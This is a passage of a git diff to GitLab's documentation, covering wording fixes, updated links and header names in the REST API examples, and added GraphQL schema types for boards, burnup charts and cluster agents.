walkthrough. +- Brendan Gregg has a more detailed explanation of [how to use strace](http://www.brendangregg.com/blog/2014-05-11/strace-wow-much-syscall.html). +- We have a [series of GitLab Unfiltered videos](https://www.youtube.com/playlist?list=PL05JrBw4t0KoC7cIkoAFcRhr4gsVesekg) on using strace to understand GitLab. ### The Strace Parser tool diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md index b7e33e4501d..91ff6f6524a 100644 --- a/doc/administration/troubleshooting/postgresql.md +++ b/doc/administration/troubleshooting/postgresql.md @@ -34,7 +34,7 @@ This section is for links to information elsewhere in the GitLab documentation. - [More about external PostgreSQL](../postgresql/external.md) -- [Running Geo with external PostgreSQL](../geo/replication/external_database.md) +- [Running Geo with external PostgreSQL](../geo/setup/external_database.md) - [Upgrades when running PostgreSQL configured for HA.](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-gitlab-ha-cluster) diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md index 9125ddf545f..404e806c5d9 100644 --- a/doc/administration/troubleshooting/sidekiq.md +++ b/doc/administration/troubleshooting/sidekiq.md @@ -212,12 +212,12 @@ the query details. ## Managing Sidekiq queues It is possible to use [Sidekiq API](https://github.com/mperham/sidekiq/wiki/API) -to perform a number of troubleshooting on Sidekiq. +to perform a number of troubleshooting steps on Sidekiq. These are the administrative commands and it should only be used if currently admin interface is not suitable due to scale of installation. -All this commands should be run using `gitlab-rails console`. +All these commands should be run using `gitlab-rails console`. ### View the queue size diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md index 31f537beae5..03c342595a3 100644 --- a/doc/administration/troubleshooting/tracing_correlation_id.md +++ b/doc/administration/troubleshooting/tracing_correlation_id.md @@ -21,7 +21,7 @@ You can find your correlation ID by searching in either place. You can use your browser's developer tools to monitor and inspect network activity with the site that you're visiting. See the links below for network monitoring -documenation for some popular browsers. +documentation for some popular browsers. - [Network Monitor - Firefox Developer Tools](https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor) - [Inspect Network Activity In Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/network/) @@ -38,7 +38,7 @@ value that was randomly generated by GitLab for the request. See the following example: - + ### Getting the correlation ID from your logs diff --git a/doc/administration/uploads.md b/doc/administration/uploads.md index d9902208e93..71a41719003 100644 --- a/doc/administration/uploads.md +++ b/doc/administration/uploads.md @@ -1,4 +1,4 @@ -# Uploads administration +# Uploads administration **(CORE ONLY)** Uploads represent all user data that may be sent to GitLab as a single file. As an example, avatars and notes' attachments are uploads. Uploads are integral to GitLab functionality, and therefore cannot be disabled. @@ -108,7 +108,7 @@ _The uploads are stored by default in ``` 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md). +1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). **In installations from source:** @@ -131,7 +131,7 @@ _The uploads are stored by default in ``` 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md). +1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). ### OpenStack example @@ -157,7 +157,7 @@ _The uploads are stored by default in ``` 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md). +1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). --- @@ -188,4 +188,4 @@ _The uploads are stored by default in ``` 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md). +1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). diff --git a/doc/analytics/README.md b/doc/analytics/README.md index bfb15f6c4f3..c88f6b4c7cc 100644 --- a/doc/analytics/README.md +++ b/doc/analytics/README.md @@ -1,5 +1,5 @@ --- -redirect_to: '../user/group/index.md#user-contribution-analysis-starter' +redirect_to: '../user/group/index.md#user-contribution-analysis' --- -This document was moved to [another location](../user/group/index.md#user-contribution-analysis-starter) +This document was moved to [another location](../user/group/index.md#user-contribution-analysis) diff --git a/doc/api/README.md b/doc/api/README.md index 82cce57f47b..53df4114a71 100644 --- a/doc/api/README.md +++ b/doc/api/README.md @@ -4,6 +4,8 @@ Automate GitLab via a simple and powerful API. The main GitLab API is a [REST](https://en.wikipedia.org/wiki/Representational_state_transfer) API. Therefore, documentation in this section assumes knowledge of REST concepts. +There is also a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml), which allows you to test the API directly from the GitLab user interface. Contributions are welcome. + ## Available API resources For a list of the available resources and their endpoints, see @@ -121,7 +123,7 @@ Read more about [GitLab as an OAuth2 provider](oauth2.md). ### Personal/project access tokens Access tokens can be used to authenticate with the API by passing it in either the `private_token` parameter -or the `Private-Token` header. +or the `PRIVATE-TOKEN` header. Example of using the personal/project access token in a parameter: @@ -132,7 +134,7 @@ curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_toke Example of using the personal/project access token in a header: ```shell -curl --header "Private-Token: <your_access_token>" "https://gitlab.example.com/api/v4/projects" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects" ``` You can also use personal/project access tokens with OAuth-compliant headers: @@ -176,7 +178,7 @@ For more information, refer to the [users API](users.md#create-an-impersonation-token) docs. Impersonation tokens are used exactly like regular personal access tokens, and can be passed in either the -`private_token` parameter or the `Private-Token` header. +`private_token` parameter or the `PRIVATE-TOKEN` header. #### Disable impersonation @@ -264,7 +266,7 @@ GET /projects?private_token=<your_access_token>&sudo=username ``` ```shell -curl --header "Private-Token: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects" +curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects" ``` Example of a valid API call and a request using cURL with sudo request, @@ -275,7 +277,7 @@ GET /projects?private_token=<your_access_token>&sudo=23 ``` ```shell -curl --header "Private-Token: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects" +curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects" ``` ## Status codes @@ -340,16 +342,19 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab #### Pagination `Link` header -[`Link` headers](https://www.w3.org/wiki/LinkHeader) are sent back with each -response. They have `rel` set to `prev`/`next`/`first`/`last` and contain the relevant -URL. Please use these links instead of generating your own URLs. +[`Link` headers](https://www.w3.org/wiki/LinkHeader) are returned with each +response. They have `rel` set to `prev`/`next`/`first`/`last` and contain the +relevant URL. Be sure to use these links instead of generating your own URLs. + +NOTE: **Note:** +For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers). In the cURL example below, we limit the output to 3 items per page (`per_page=3`) and we request the second page (`page=2`) of [comments](notes.md) of the issue -with ID `8` which belongs to the project with ID `8`: +with ID `8` which belongs to the project with ID `9`: ```shell -curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/8/issues/8/notes?per_page=3&page=2" +curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2" ``` The response will then be: @@ -375,24 +380,19 @@ X-Total-Pages: 3 #### Other pagination headers -Additional pagination headers are also sent back. +GitLab also returns the following additional pagination headers: -| Header | Description | -| ------ | ----------- | -| `X-Total` | The total number of items | -| `X-Total-Pages` | The total number of pages | -| `X-Per-Page` | The number of items per page | +| Header | Description | +| --------------- | --------------------------------------------- | +| `X-Total` | The total number of items | +| `X-Total-Pages` | The total number of pages | +| `X-Per-Page` | The number of items per page | | `X-Page` | The index of the current page (starting at 1) | -| `X-Next-Page` | The index of the next page | -| `X-Prev-Page` | The index of the previous page | +| `X-Next-Page` | The index of the next page | +| `X-Prev-Page` | The index of the previous page | -CAUTION: **Caution:** -For performance reasons since -[GitLab 11.8](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23931) -and **behind the `api_kaminari_count_with_limit` -[feature flag](../development/feature_flags/index.md)**, if the number of resources is -more than 10,000, the `X-Total` and `X-Total-Pages` headers as well as the -`rel="last"` `Link` are not present in the response headers. +NOTE: **Note:** +For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers). ### Keyset-based pagination @@ -639,7 +639,7 @@ follows: ## Unknown route -When you try to access an API URL that does not exist you will receive 404 Not Found. +When you try to access an API URL that does not exist, you will receive 404 Not Found. ```http HTTP/1.1 404 Not Found diff --git a/doc/api/admin_sidekiq_queues.md b/doc/api/admin_sidekiq_queues.md index 5c841ae4076..4a2456d6f4a 100644 --- a/doc/api/admin_sidekiq_queues.md +++ b/doc/api/admin_sidekiq_queues.md @@ -1,4 +1,4 @@ -# Admin Sidekiq queues API +# Sidekiq queues administration API **(CORE ONLY)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25998) in GitLab 12.9 @@ -15,7 +15,7 @@ The response has three fields: delete further jobs (including those added after the first request was issued). -This API endpoint is only available to admin users. +This API endpoint is only available to administrators. ```plaintext DELETE /admin/sidekiq/queues/:queue_name diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md index 886f2e990f0..898aa713331 100644 --- a/doc/api/api_resources.md +++ b/doc/api/api_resources.md @@ -44,6 +44,7 @@ The following API resources are available in the project context: | [Members](members.md) | `/projects/:id/members` (also available for groups) | | [Merge request approvals](merge_request_approvals.md) **(STARTER)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` | | [Merge requests](merge_requests.md) | `/projects/:id/merge_requests` (also available for groups and standalone) | +| [Merge trains](merge_trains.md) | `/projects/:id/merge_trains` | | [Notes](notes.md) (comments) | `/projects/:id/issues/.../notes`, `/projects/:id/snippets/.../notes`, `/projects/:id/merge_requests/.../notes` (also available for groups) | | [Notification settings](notification_settings.md) | `/projects/:id/notification_settings` (also available for groups and standalone) | | [Packages](packages.md) | `/projects/:id/packages` | @@ -115,7 +116,7 @@ The following API resources are available outside of project and group contexts | Resource | Available endpoints | |:---------------------------------------------------|:------------------------------------------------------------------------| | [Instance-level CI/CD variables](instance_level_ci_variables.md) | `/admin/ci/variables` | -| [Admin Sidekiq queues](admin_sidekiq_queues.md) | `/admin/sidekiq/queues/:queue_name` | +| [Sidekiq queues administration](admin_sidekiq_queues.md) **(CORE ONLY)** | `/admin/sidekiq/queues/:queue_name` | | [Appearance](appearance.md) **(CORE ONLY)** | `/application/appearance` | | [Applications](applications.md) | `/applications` | | [Audit Events](audit_events.md) **(PREMIUM ONLY)** | `/audit_events` | @@ -147,10 +148,10 @@ The following API resources are available outside of project and group contexts | [Search](search.md) | `/search` (also available for groups and projects) | | [Settings](settings.md) **(CORE ONLY)** | `/application/settings` | | [Statistics](statistics.md) | `/application/statistics` | -| [Sidekiq metrics](sidekiq_metrics.md) | `/sidekiq` | +| [Sidekiq metrics](sidekiq_metrics.md) **(CORE ONLY)** | `/sidekiq` | | [Suggestions](suggestions.md) | `/suggestions` | | [System hooks](system_hooks.md) | `/hooks` | -| [Todos](todos.md) | `/todos` | +| [To-dos](todos.md) | `/todos` | | [Users](users.md) | `/users` | | [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` | | [Version](version.md) | `/version` | diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md index ce2a9afd53c..5f31919c52b 100644 --- a/doc/api/audit_events.md +++ b/doc/api/audit_events.md @@ -2,7 +2,7 @@ ## Instance Audit Events **(PREMIUM ONLY)** -The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events-premium-only). +The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events). To retrieve audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator. @@ -124,7 +124,7 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34078) in GitLab 12.5. -The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events-starter). +The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events). To retrieve group audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator or an owner of the group. @@ -230,7 +230,7 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219238) in GitLab 13.1. -The Project Audit Events API allows you to retrieve [project audit events](../administration/audit_events.md#project-events-starter). +The Project Audit Events API allows you to retrieve [project audit events](../administration/audit_events.md#project-events). To retrieve project audit events using the API, you must [authenticate yourself](README.md#authentication) as a Maintainer or an Owner of the project. diff --git a/doc/api/boards.md b/doc/api/boards.md index a370205aa01..12ebbcf916a 100644 --- a/doc/api/boards.md +++ b/doc/api/boards.md @@ -455,7 +455,7 @@ POST /projects/:id/boards/:board_id/lists NOTE: **Note:** Label, assignee and milestone arguments are mutually exclusive, that is, only one of them are accepted in a request. -Check the [Issue Board docs](../user/project/issue_board.md#summary-of-features-per-tier) +Check the [Issue Board docs](../user/project/issue_board.md) for more information regarding the required license for each list type. ```shell diff --git a/doc/api/deployments.md b/doc/api/deployments.md index 426b3e10ecf..b0de972160b 100644 --- a/doc/api/deployments.md +++ b/doc/api/deployments.md @@ -15,15 +15,15 @@ Get a list of deployments in a project. GET /projects/:id/deployments ``` -| Attribute | Type | Required | Description | -|-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `order_by`| string | no | Return deployments ordered by `id` or `iid` or `created_at` or `updated_at` or `ref` fields. Default is `id` | -| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc` | -| `updated_after` | datetime | no | Return deployments updated after the specified date | -| `updated_before` | datetime | no | Return deployments updated before the specified date | -| `environment` | string | no | The name of the environment to filter deployments by | -| `status` | string | no | The status to filter deployments by | +| Attribute | Type | Required | Description | +|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `order_by` | string | no | Return deployments ordered by `id` or `iid` or `created_at` or `updated_at` or `ref` fields. Default is `id` | +| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc` | +| `updated_after` | datetime | no | Return deployments updated after the specified date | +| `updated_before` | datetime | no | Return deployments updated before the specified date | +| `environment` | string | no | The [name of the environment](../ci/environments/index.md#defining-environments) to filter deployments by | +| `status` | string | no | The status to filter deployments by | The status attribute can be one of the following values: @@ -278,14 +278,14 @@ Example of response POST /projects/:id/deployments ``` -| Attribute | Type | Required | Description | -|------------------|----------------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `environment` | string | yes | The name of the environment to create the deployment for | -| `sha` | string | yes | The SHA of the commit that is deployed | -| `ref` | string | yes | The name of the branch or tag that is deployed | -| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (true) or not (false) | -| `status` | string | yes | The status of the deployment | +| Attribute | Type | Required | Description | +|---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `environment` | string | yes | The [name of the environment](../ci/environments/index.md#defining-environments) to create the deployment for | +| `sha` | string | yes | The SHA of the commit that is deployed | +| `ref` | string | yes | The name of the branch or tag that is deployed | +| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (true) or not (false) | +| `status` | string | yes | The status of the deployment | The status can be one of the following values: diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md index a2477123ce4..19c8dc78aed 100644 --- a/doc/api/epic_links.md +++ b/doc/api/epic_links.md @@ -2,7 +2,7 @@ > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9188) in GitLab 11.8. -Manages parent-child [epic relationships](../user/group/epics/index.md#multi-level-child-epics-ultimate). +Manages parent-child [epic relationships](../user/group/epics/index.md#multi-level-child-epics). Every API call to `epic_links` must be authenticated. @@ -131,6 +131,7 @@ POST /groups/:id/epics/:epic_iid/epics | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer | yes | The internal ID of the (future parent) epic. | | `title` | string | yes | The title of a newly created epic. | +| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics/5/epics?title=Newpic" diff --git a/doc/api/epics.md b/doc/api/epics.md index 45bf406dec2..91ea92c8589 100644 --- a/doc/api/epics.md +++ b/doc/api/epics.md @@ -266,7 +266,7 @@ POST /groups/:id/epics | `title` | string | yes | The title of the epic | | `labels` | string | no | The comma separated list of labels | | `description` | string | no | The description of the epic. Limited to 1,048,576 characters. | -| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. | +| `confidential` | boolean | no | Whether the epic should be confidential | | `start_date_is_fixed` | boolean | no | Whether start date should be sourced from `start_date_fixed` or from milestones (since 11.3) | | `start_date_fixed` | string | no | The fixed start date of an epic (since 11.3) | | `due_date_is_fixed` | boolean | no | Whether due date should be sourced from `due_date_fixed` or from milestones (since 11.3) | @@ -347,7 +347,7 @@ PUT /groups/:id/epics/:epic_iid | `epic_iid` | integer/string | yes | The internal ID of the epic | | `title` | string | no | The title of an epic | | `description` | string | no | The description of an epic. Limited to 1,048,576 characters. | -| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. | +| `confidential` | boolean | no | Whether the epic should be confidential | | `labels` | string | no | The comma separated list of labels | | `start_date_is_fixed` | boolean | no | Whether start date should be sourced from `start_date_fixed` or from milestones (since 11.3) | | `start_date_fixed` | string | no | The fixed start date of an epic (since 11.3) | @@ -422,10 +422,10 @@ DELETE /groups/:id/epics/:epic_iid curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics/5" ``` -## Create a todo +## Create a to-do -Manually creates a todo for the current user on an epic. If -there already exists a todo for the user on that epic, status code `304` is +Manually creates a to-do for the current user on an epic. If +there already exists a to-do for the user on that epic, status code `304` is returned. ```plaintext diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index 479f82914a9..1088154b599 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -212,11 +212,11 @@ PUT /projects/:id/feature_flags/:feature_flag_name | `active` | boolean | no | The active state of the flag. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. | | `name` | string | no | The new name of the feature flag. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. | | `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). | -| `strategies:id` | JSON | no | The feature flag strategy id. | +| `strategies:id` | JSON | no | The feature flag strategy ID. | | `strategies:name` | JSON | no | The strategy name. | | `strategies:parameters` | JSON | no | The strategy parameters. | | `strategies:scopes` | JSON | no | The scopes for the strategy. | -| `strategies:scopes:id` | JSON | no | The scopes id. | +| `strategies:scopes:id` | JSON | no | The scopes ID. | | `strategies:scopes:environment_scope` | string | no | The environment spec for the scope. | ```shell diff --git a/doc/api/freeze_periods.md b/doc/api/freeze_periods.md index e6a5e69497f..7a2f88e9f00 100644 --- a/doc/api/freeze_periods.md +++ b/doc/api/freeze_periods.md @@ -31,7 +31,7 @@ GET /projects/:id/freeze_periods Example request: ```shell -curl --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" "https://gitlab.example.com/api/v4/projects/19/freeze_periods" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/19/freeze_periods" ``` Example response: @@ -65,7 +65,7 @@ GET /projects/:id/freeze_periods/:freeze_period_id Example request: ```shell -curl --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1" ``` Example response: @@ -99,7 +99,7 @@ POST /projects/:id/freeze_periods Example request: ```shell -curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" \ +curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \ --data '{ "freeze_start": "0 23 * * 5", "freeze_end": "0 7 * * 1", "cron_timezone": "UTC" }' \ --request POST https://gitlab.example.com/api/v4/projects/19/freeze_periods ``` @@ -136,7 +136,7 @@ PUT /projects/:id/freeze_periods/:tag_name Example request: ```shell -curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" \ +curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \ --data '{ "freeze_end": "0 8 * * 1" }' \ --request PUT https://gitlab.example.com/api/v4/projects/19/freeze_periods/1 ``` @@ -170,6 +170,6 @@ DELETE /projects/:id/freeze_periods/:freeze_period_id Example request: ```shell -curl --request DELETE --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1" +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1" ``` diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index ba970d2cdb1..8d2052f7373 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -371,7 +371,13 @@ Example response: "package_files_checksum_failed_count": 0, "package_files_registry_count": 10, "package_files_synced_count": 6, - "package_files_failed_count": 3 + "package_files_failed_count": 3, + "snippet_repositories_count": 10, + "snippet_repositories_checksummed_count": 10, + "snippet_repositories_checksum_failed_count": 0, + "snippet_repositories_registry_count": 10, + "snippet_repositories_synced_count": 6, + "snippet_repositories_failed_count": 3 }, { "geo_node_id": 2, @@ -442,12 +448,30 @@ Example response: "last_successful_status_check_timestamp": 1510125024, "version": "10.3.0", "revision": "33d33a096a", + "merge_request_diffs_count": 12, + "merge_request_diffs_checksummed_count": 8, + "merge_request_diffs_checksum_failed_count": 0, + "merge_request_diffs_registry_count": 12, + "merge_request_diffs_synced_count": 9, + "merge_request_diffs_failed_count": 3, "package_files_count": 10, "package_files_checksummed_count": 10, "package_files_checksum_failed_count": 0, "package_files_registry_count": 10, "package_files_synced_count": 6, - "package_files_failed_count": 3 + "package_files_failed_count": 3, + "terraform_states_count": 10, + "terraform_states_checksummed_count": 10, + "terraform_states_checksum_failed_count": 0, + "terraform_states_registry_count": 10, + "terraform_states_synced_count": 6, + "terraform_states_failed_count": 3 + "snippet_repositories_count": 10, + "snippet_repositories_checksummed_count": 10, + "snippet_repositories_checksum_failed_count": 0, + "snippet_repositories_registry_count": 10, + "snippet_repositories_synced_count": 6, + "snippet_repositories_failed_count": 3 } ] ``` diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 12665f68f25..c2220403461 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -192,7 +192,7 @@ When you see the result `id` of the note you created - take a note of it. Now le ```graphql mutation { - updateNote(input: { id: "gid://gitlab/Note/<note id>", + updateNote(input: { id: "gid://gitlab/Note/<note ID>", body: "*SIPS TEA*" }) { note { @@ -210,7 +210,7 @@ Let's delete the comment, since our tea is all gone. ```graphql mutation { - destroyNote(input: { id: "gid://gitlab/Note/<note id>" }) { + destroyNote(input: { id: "gid://gitlab/Note/<note ID>" }) { note { id body diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index c513dea239a..bda24a7e90a 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -59,6 +59,23 @@ There are no plans to deprecate the REST API. To reduce the technical burden of supporting two APIs in parallel, they should share implementations as much as possible. +### Deprecation process + +Fields marked for removal from the GitLab GraphQL API are first **deprecated** but still available +for at least six releases, and then **removed entirely**. +Removals occur at X.0 and X.6 releases. + +For example, a field can be marked as deprecated (but still usable) in %12.7, but can be used until its removal in %13.6. +When marked as deprecated, an alternative should be provided if there is one. +That gives consumers of the GraphQL API a minimum of six months to update their GraphQL queries. + +The process is as follows: + +1. The field is listed as deprecated in [GraphQL API Reference](reference/index.md). +1. Removals are announced at least one release prior in the Deprecation Warnings section of the + release post (at or prior to X.11 and X.5 releases). +1. Fields meeting criteria are removed in X.0 or X.6. + ## Available queries The GraphQL API includes the following queries at the root level: @@ -96,3 +113,11 @@ Machine-readable versions are also available: - [JSON format](reference/gitlab_schema.json) - [IDL format](reference/gitlab_schema.graphql) + +## Generate updates for documentation + +If you've changed the GraphQL schema, you should set up an MR to gain approval of your changes. +To generate the required documentation and schema, follow the instructions given in the +[Rake tasks for developers](../../development/rake_tasks.md#update-graphql-documentation-and-schema-definitions) page. + +Be sure to run these commands using the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/). diff --git a/doc/api/graphql/reference/gitlab_schema.graphql b/doc/api/graphql/reference/gitlab_schema.graphql index 1d920894eec..01d5044057a 100644 --- a/doc/api/graphql/reference/gitlab_schema.graphql +++ b/doc/api/graphql/reference/gitlab_schema.graphql @@ -731,7 +731,7 @@ type AlertTodoCreatePayload { } """ -An emoji awarded by a user. +An emoji awarded by a user """ type AwardEmoji { """ @@ -1029,7 +1029,7 @@ type Board { """ Filters applied when selecting issues on the board """ - issueFilters: BoardEpicIssueInput + issueFilters: BoardIssueInput """ Returns the last _n_ elements from the list. @@ -1133,7 +1133,12 @@ type BoardEdge { node: Board } -input BoardEpicIssueInput { +""" +Identifier of Board +""" +scalar BoardID + +input BoardIssueInput { """ Filter by assignee username """ @@ -1145,9 +1150,14 @@ input BoardEpicIssueInput { authorUsername: String """ - Filter by epic ID + Filter by epic ID. Incompatible with epicWildcardId + """ + epicId: ID + + """ + Filter by epic ID wildcard. Incompatible with epicId """ - epicId: String + epicWildcardId: EpicWildcardId """ Filter by label name @@ -1167,7 +1177,7 @@ input BoardEpicIssueInput { """ List of negated params. Warning: this argument is experimental and a subject to change in future """ - not: NegatedBoardEpicIssueInput + not: NegatedBoardIssueInput """ Filter by release tag @@ -1175,17 +1185,17 @@ input BoardEpicIssueInput { releaseTag: String """ + Search query for issue title or description + """ + search: String + + """ Filter by weight """ weight: String } """ -Identifier of Board -""" -scalar BoardID - -""" Represents a list for an issue board """ type BoardList { @@ -1219,6 +1229,11 @@ type BoardList { before: String """ + Filters applied when selecting issues in the board list + """ + filters: BoardIssueInput + + """ Returns the first _n_ elements from the list. """ first: Int @@ -1305,12 +1320,17 @@ Autogenerated input type of BoardListCreate """ input BoardListCreateInput { """ + Global ID of an existing user + """ + assigneeId: UserID + + """ Create the backlog list """ backlog: Boolean """ - The Global ID of the issue board to mutate + Global ID of the issue board to mutate """ boardId: BoardID! @@ -1320,9 +1340,14 @@ input BoardListCreateInput { clientMutationId: String """ - ID of an existing label + Global ID of an existing label """ labelId: LabelID + + """ + Global ID of an existing milestone + """ + milestoneId: MilestoneID } """ @@ -1422,6 +1447,36 @@ type Branch { name: String! } +""" +Represents the total number of issues and their weights for a particular day +""" +type BurnupChartDailyTotals { + """ + Number of closed issues as of this day + """ + completedCount: Int! + + """ + Total weight of closed issues as of this day + """ + completedWeight: Int! + + """ + Date for burnup totals + """ + date: ISO8601Date! + + """ + Number of issues as of this day + """ + scopeCount: Int! + + """ + Total weight of issues as of this day + """ + scopeWeight: Int! +} + type CiGroup { """ Jobs in group @@ -1561,6 +1616,11 @@ type CiJobEdge { node: CiJob } +""" +Identifier of Ci::Pipeline +""" +scalar CiPipelineID + type CiStage { """ Group of jobs for the stage @@ -1650,11 +1710,233 @@ type ClusterAgent { project: Project """ + Tokens associated with the cluster agent + """ + tokens( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): ClusterAgentTokenConnection + + """ Timestamp the cluster agent was updated """ updatedAt: Time } +""" +The connection type for ClusterAgent. +""" +type ClusterAgentConnection { + """ + A list of edges. + """ + edges: [ClusterAgentEdge] + + """ + A list of nodes. + """ + nodes: [ClusterAgent] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +Autogenerated input type of ClusterAgentDelete +""" +input ClusterAgentDeleteInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Global id of the cluster agent that will be deleted + """ + id: ClustersAgentID! +} + +""" +Autogenerated return type of ClusterAgentDelete +""" +type ClusterAgentDeletePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" +An edge in a connection. +""" +type ClusterAgentEdge { + """ 